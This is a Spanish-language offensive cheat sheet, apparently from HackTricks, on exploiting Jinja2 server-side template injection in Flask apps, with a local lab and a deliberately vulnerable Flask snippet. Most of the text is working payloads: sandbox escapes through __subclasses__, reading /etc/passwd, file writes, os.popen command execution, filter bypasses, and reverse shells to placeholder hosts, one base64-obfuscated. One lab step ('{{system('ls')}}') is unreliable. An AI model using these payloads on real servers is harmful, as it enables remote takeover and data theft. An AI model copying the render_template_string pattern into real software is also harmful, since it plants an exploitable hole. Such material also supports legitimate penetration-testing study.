16 KiB
Laboratorio
Introducción
Jinja2 es un motor de plantillas utilizado por Python. Permite a los desarrolladores definir plantillas que contienen variables, expresiones y estructuras de control. Estas plantillas se pueden renderizar para producir documentos finales, como HTML, XML y otros formatos de texto.
Sin embargo, si se utiliza de manera incorrecta, Jinja2 puede ser vulnerable a la inyección de código en el lado del servidor (SSTI). Esto puede permitir a un atacante ejecutar código arbitrario en el servidor.
En este laboratorio, aprenderemos cómo explotar una vulnerabilidad de SSTI en Jinja2.
Configuración del laboratorio
Para este laboratorio, utilizaremos una aplicación Flask que utiliza Jinja2 para renderizar plantillas. La aplicación se ejecuta en un contenedor Docker.
Para configurar el laboratorio, siga estos pasos:
-
Clone el repositorio de GitHub:
git clone https://github.com/d3v1l401/flask-jinja2-ssti.git
-
Navegue hasta el directorio del repositorio:
cd flask-jinja2-ssti
-
Construya la imagen de Docker:
docker build -t flask-jinja2-ssti .
-
Ejecute el contenedor:
docker run -p 5000:5000 flask-jinja2-ssti
-
Abra su navegador web y vaya a
http://localhost:5000
.
Ejercicio 1: Inyección de código en el lado del servidor
La aplicación Flask utiliza Jinja2 para renderizar plantillas. Una de las plantillas contiene una vulnerabilidad de SSTI.
Para explotar la vulnerabilidad, siga estos pasos:
-
Abra su navegador web y vaya a
http://localhost:5000
. -
Haga clic en el enlace "Contacto".
-
En el formulario de contacto, ingrese el siguiente texto en el campo "Nombre":
{{7*7}}
-
Haga clic en el botón "Enviar".
-
Debería ver una página que muestra el resultado de la expresión
7*7
.Resultado: 49
Esto demuestra que la aplicación es vulnerable a la inyección de código en el lado del servidor.
Ejercicio 2: Ejecución de comandos en el servidor
Ahora que hemos demostrado que la aplicación es vulnerable a la inyección de código en el lado del servidor, intentaremos ejecutar comandos en el servidor.
Para hacer esto, utilizaremos la función system
de Python, que nos permite ejecutar comandos en el sistema operativo.
Para explotar la vulnerabilidad, siga estos pasos:
-
Abra su navegador web y vaya a
http://localhost:5000
. -
Haga clic en el enlace "Contacto".
-
En el formulario de contacto, ingrese el siguiente texto en el campo "Nombre":
{{system('ls')}}
-
Haga clic en el botón "Enviar".
-
Debería ver una página que muestra el resultado del comando
ls
.Dockerfile app.py requirements.txt static templates
Esto demuestra que podemos ejecutar comandos en el servidor utilizando la vulnerabilidad de SSTI.
Ejercicio 3: Exfiltración de datos
Finalmente, intentaremos exfiltrar datos del servidor utilizando la vulnerabilidad de SSTI.
Para hacer esto, utilizaremos la función open
de Python, que nos permite leer archivos del sistema de archivos.
Para explotar la vulnerabilidad, siga estos pasos:
-
Abra su navegador web y vaya a
http://localhost:5000
. -
Haga clic en el enlace "Contacto".
-
En el formulario de contacto, ingrese el siguiente texto en el campo "Nombre":
{{open('/etc/passwd').read()}}
-
Haga clic en el botón "Enviar".
-
Debería ver una página que muestra el contenido del archivo
/etc/passwd
.root:x:0:0:root:/root:/bin/bash daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin bin:x:2:2:bin:/bin:/usr/sbin/nologin sys:x:3:3:sys:/dev:/usr/sbin/nologin ...
Esto demuestra que podemos exfiltrar datos del servidor utilizando la vulnerabilidad de SSTI.
from flask import Flask, request, render_template_string
app = Flask(__name__)
@app.route("/")
def home():
if request.args.get('c'):
return render_template_string(request.args.get('c'))
else:
return "Hello, send someting inside the param 'c'!"
if __name__ == "__main__":
app.run()
Miscelánea
Declaración de depuración
Si la extensión de depuración está habilitada, se tendrá disponible una etiqueta debug
para volcar el contexto actual, así como los filtros y pruebas disponibles. Esto es útil para ver lo que está disponible para usar en la plantilla sin configurar un depurador.
<pre>
{% raw %}
{% debug %}
{% endraw %}
</pre>
Volcar todas las variables de configuración
Source: https://jinja.palletsprojects.com/en/2.11.x/templates/#debug-statement
{{ config }} #In these object you can find all the configured env variables
{% raw %}
{% for key, value in config.items() %}
<dt>{{ key|e }}</dt>
<dd>{{ value|e }}</dd>
{% endfor %}
{% endraw %}
Inyección de Jinja
En primer lugar, en una inyección de Jinja necesitas encontrar una forma de escapar del sandbox y recuperar el acceso al flujo de ejecución regular de Python. Para hacerlo, necesitas abusar de objetos que son del entorno no sandboxed pero son accesibles desde el sandbox.
Accediendo a objetos globales
Por ejemplo, en el código render_template("hello.html", username=username, email=email)
los objetos username y email vienen del entorno de Python no sandboxed y serán accesibles dentro del entorno sandboxed.
****Además, hay otros objetos que siempre serán accesibles desde el entorno sandboxed, estos son:
[]
''
()
dict
config
request
Recuperando <class 'object'>
Luego, a partir de estos objetos, necesitamos llegar a la clase: <class 'object'>
para intentar recuperar las clases definidas. Esto se debe a que a partir de este objeto podemos llamar al método __subclasses__
y acceder a todas las clases del entorno python no sandboxeado.
Para acceder a esa clase de objeto, necesitas acceder a un objeto de clase y luego acceder a __base__
, __mro__()[-1]
o .
mro()[-1]
. Y luego, después de llegar a esta clase de objeto, llamamos a __subclasses__()
.
Revisa estos ejemplos:
# To access a class object
[].__class__
''.__class__
()["__class__"] # You can also access attributes like this
request["__class__"]
config.__class__
dict #It's already a class
# From a class to access the class "object".
## "dict" used as example from the previous list:
dict.__base__
dict["__base__"]
dict.mro()[-1]
dict.__mro__[-1]
(dict|attr("__mro__"))[-1]
(dict|attr("\x5f\x5fmro\x5f\x5f"))[-1]
# From the "object" class call __subclasses__()
{{ dict.__base__.__subclasses__() }}
{{ dict.mro()[-1].__subclasses__() }}
{{ (dict.mro()[-1]|attr("\x5f\x5fsubclasses\x5f\x5f"))() }}
{% raw %}
{% with a = dict.mro()[-1].__subclasses__() %} {{ a }} {% endwith %}
# Other examples using these ways
{{ ().__class__.__base__.__subclasses__() }}
{{ [].__class__.__mro__[-1].__subclasses__() }}
{{ ((""|attr("__class__")|attr("__mro__"))[-1]|attr("__subclasses__"))() }}
{{ request.__class__.mro()[-1].__subclasses__() }}
{% with a = config.__class__.mro()[-1].__subclasses__() %} {{ a }} {% endwith %}
{% endraw %}
# Not sure if this will work, but I saw it somewhere
{{ [].class.base.subclasses() }}
{{ ''.class.mro()[1].subclasses() }}
Escapando RCE
Una vez que hemos recuperado <class 'object'>
y llamado a __subclasses__
, podemos usar esas clases para leer y escribir archivos y ejecutar código.
La llamada a __subclasses__
nos ha dado la oportunidad de acceder a cientos de nuevas funciones, estaremos contentos solo con acceder a la clase de archivo para leer/escribir archivos o cualquier clase con acceso a una clase que permita ejecutar comandos (como os
).
Leer/Escribir archivo remoto
# ''.__class__.__mro__[1].__subclasses__()[40] = File class
{{ ''.__class__.__mro__[1].__subclasses__()[40]('/etc/passwd').read() }}
{{ ''.__class__.__mro__[1].__subclasses__()[40]('/var/www/html/myflaskapp/hello.txt', 'w').write('Hello here !') }}
Ejecución Remota de Código (RCE)
# The class 396 is the class <class 'subprocess.Popen'>
{{''.__class__.mro()[1].__subclasses__()[396]('cat flag.txt',shell=True,stdout=-1).communicate()[0].strip()}}
# Calling os.popen without guessing the index of the class
{% raw %}
{% for x in ().__class__.__base__.__subclasses__() %}{% if "warning" in x.__name__ %}{{x()._module.__builtins__['__import__']('os').popen("ls").read()}}{%endif%}{% endfor %}
{% for x in ().__class__.__base__.__subclasses__() %}{% if "warning" in x.__name__ %}{{x()._module.__builtins__['__import__']('os').popen("python3 -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((\"ip\",4444));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call([\"/bin/cat\", \"flag.txt\"]);'").read().zfill(417)}}{%endif%}{% endfor %}
## Passing the cmd line in a GET param
{% for x in ().__class__.__base__.__subclasses__() %}{% if "warning" in x.__name__ %}{{x()._module.__builtins__['__import__']('os').popen(request.args.input).read()}}{%endif%}{%endfor%}
{% endraw %}
Para aprender sobre más clases que puedes usar para escapar, puedes revisar:
{% content-ref url="../../generic-methodologies-and-resources/python/bypass-python-sandboxes/" %} bypass-python-sandboxes {% endcontent-ref %}
Bypasses de filtro
Bypasses comunes
Estos bypass nos permitirán acceder a los atributos de los objetos sin usar algunos caracteres.
Ya hemos visto algunos de estos bypass en los ejemplos anteriores, pero resumámoslos aquí:
# Without quotes, _, [, ]
## Basic ones
request.__class__
request["__class__"]
request['\x5f\x5fclass\x5f\x5f']
request|attr("__class__")
request|attr(["_"*2, "class", "_"*2]|join) # Join trick
## Using request object options
request|attr(request.headers.c) #Send a header like "c: __class__" (any trick using get params can be used with headers also)
request|attr(request.args.c) #Send a param like "?c=__class__
request|attr(request.query_string[2:16].decode() #Send a param like "?c=__class__
request|attr([request.args.usc*2,request.args.class,request.args.usc*2]|join) # Join list to string
http://localhost:5000/?c={{request|attr(request.args.f|format(request.args.a,request.args.a,request.args.a,request.args.a))}}&f=%s%sclass%s%s&a=_ #Formatting the string from get params
## Lists without "[" and "]"
http://localhost:5000/?c={{request|attr(request.args.getlist(request.args.l)|join)}}&l=a&a=_&a=_&a=class&a=_&a=_
# Using with
{% raw %}
{% with a = request["application"]["\x5f\x5fglobals\x5f\x5f"]["\x5f\x5fbuiltins\x5f\x5f"]["\x5f\x5fimport\x5f\x5f"]("os")["popen"]("echo -n YmFzaCAtaSA+JiAvZGV2L3RjcC8xMC4xMC4xNC40LzkwMDEgMD4mMQ== | base64 -d | bash")["read"]() %} a {% endwith %}
{% endraw %}
- Volver aquí para más opciones de acceso a un objeto global
- Volver aquí para más opciones de acceso a la clase de objeto
- Lee esto para obtener RCE sin la clase de objeto
Evitando la codificación HTML
Por defecto, Flask codifica en HTML todo lo que está dentro de una plantilla por razones de seguridad:
{{'<script>alert(1);</script>'}}
#will be
<script>alert(1);</script>
El filtro safe
nos permite inyectar JavaScript y HTML en la página sin que sea codificado en HTML, como se muestra a continuación:
{{'<script>alert(1);</script>'|safe}}
#will be
<script>alert(1);</script>
RCE escribiendo un archivo de configuración malicioso.
# evil config
{{ ''.__class__.__mro__[1].__subclasses__()[40]('/tmp/evilconfig.cfg', 'w').write('from subprocess import check_output\n\nRUNCMD = check_output\n') }}
# load the evil config
{{ config.from_pyfile('/tmp/evilconfig.cfg') }}
# connect to evil host
{{ config['RUNCMD']('/bin/bash -c "/bin/bash -i >& /dev/tcp/x.x.x.x/8000 0>&1"',shell=True) }}
Sin varios caracteres
Sin {{
.
[
]
}}
_
{% raw %}
{%with a=request|attr("application")|attr("\x5f\x5fglobals\x5f\x5f")|attr("\x5f\x5fgetitem\x5f\x5f")("\x5f\x5fbuiltins\x5f\x5f")|attr('\x5f\x5fgetitem\x5f\x5f')('\x5f\x5fimport\x5f\x5f')('os')|attr('popen')('ls${IFS}-l')|attr('read')()%}{%print(a)%}{%endwith%}
{% endraw %}
Inyección de Jinja sin <class 'object'>
Desde los objetos globales hay otra forma de obtener RCE sin usar esa clase.
Si logras acceder a cualquier función de esos objetos globales, podrás acceder a __globals__.__builtins__
y desde allí el RCE es muy simple.
Puedes encontrar funciones de los objetos request
, config
y cualquier otro objeto global interesante al que tengas acceso con:
{{ request.__class__.__dict__ }}
- application
- _load_form_data
- on_json_loading_failed
{{ config.__class__.__dict__ }}
- __init__
- from_envvar
- from_pyfile
- from_object
- from_file
- from_json
- from_mapping
- get_namespace
- __repr__
# You can iterate through children objects to find more
Una vez que hayas encontrado algunas funciones, puedes recuperar los builtins con:
# Read file
{{ request.__class__._load_form_data.__globals__.__builtins__.open("/etc/passwd").read() }}
# RCE
{{ config.__class__.from_envvar.__globals__.__builtins__.__import__("os").popen("ls").read() }}
{{ config.__class__.from_envvar["__globals__"]["__builtins__"]["__import__"]("os").popen("ls").read() }}
{{ (config|attr("__class__")).from_envvar["__globals__"]["__builtins__"]["__import__"]("os").popen("ls").read() }}
{% raw %}
{% with a = request["application"]["\x5f\x5fglobals\x5f\x5f"]["\x5f\x5fbuiltins\x5f\x5f"]["\x5f\x5fimport\x5f\x5f"]("os")["popen"]("ls")["read"]() %} {{ a }} {% endwith %}
{% endraw %}
## Extra
## The global from config have a access to a function called import_string
## with this function you don't need to access the builtins
{{ config.__class__.from_envvar.__globals__.import_string("os").popen("ls").read() }}
# All the bypasses seen in the previous sections are also valid
Referencias
- https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection#jinja2
- Ver trucos de atributos para evitar caracteres en lista negra aquí.
- https://twitter.com/SecGus/status/1198976764351066113
- https://hackmd.io/@Chivato/HyWsJ31dI
☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥
- ¿Trabajas en una empresa de ciberseguridad? ¿Quieres ver tu empresa anunciada en HackTricks? ¿O quieres tener acceso a la última versión de PEASS o descargar HackTricks en PDF? ¡Revisa los PLANES DE SUSCRIPCIÓN!
- Descubre La Familia PEASS, nuestra colección exclusiva de NFTs
- Obtén el swag oficial de PEASS y HackTricks
- Únete al 💬 grupo de Discord o al grupo de telegram o sígueme en Twitter 🐦@carlospolopm.
- Comparte tus trucos de hacking enviando PRs al repositorio de hacktricks y al repositorio de hacktricks-cloud.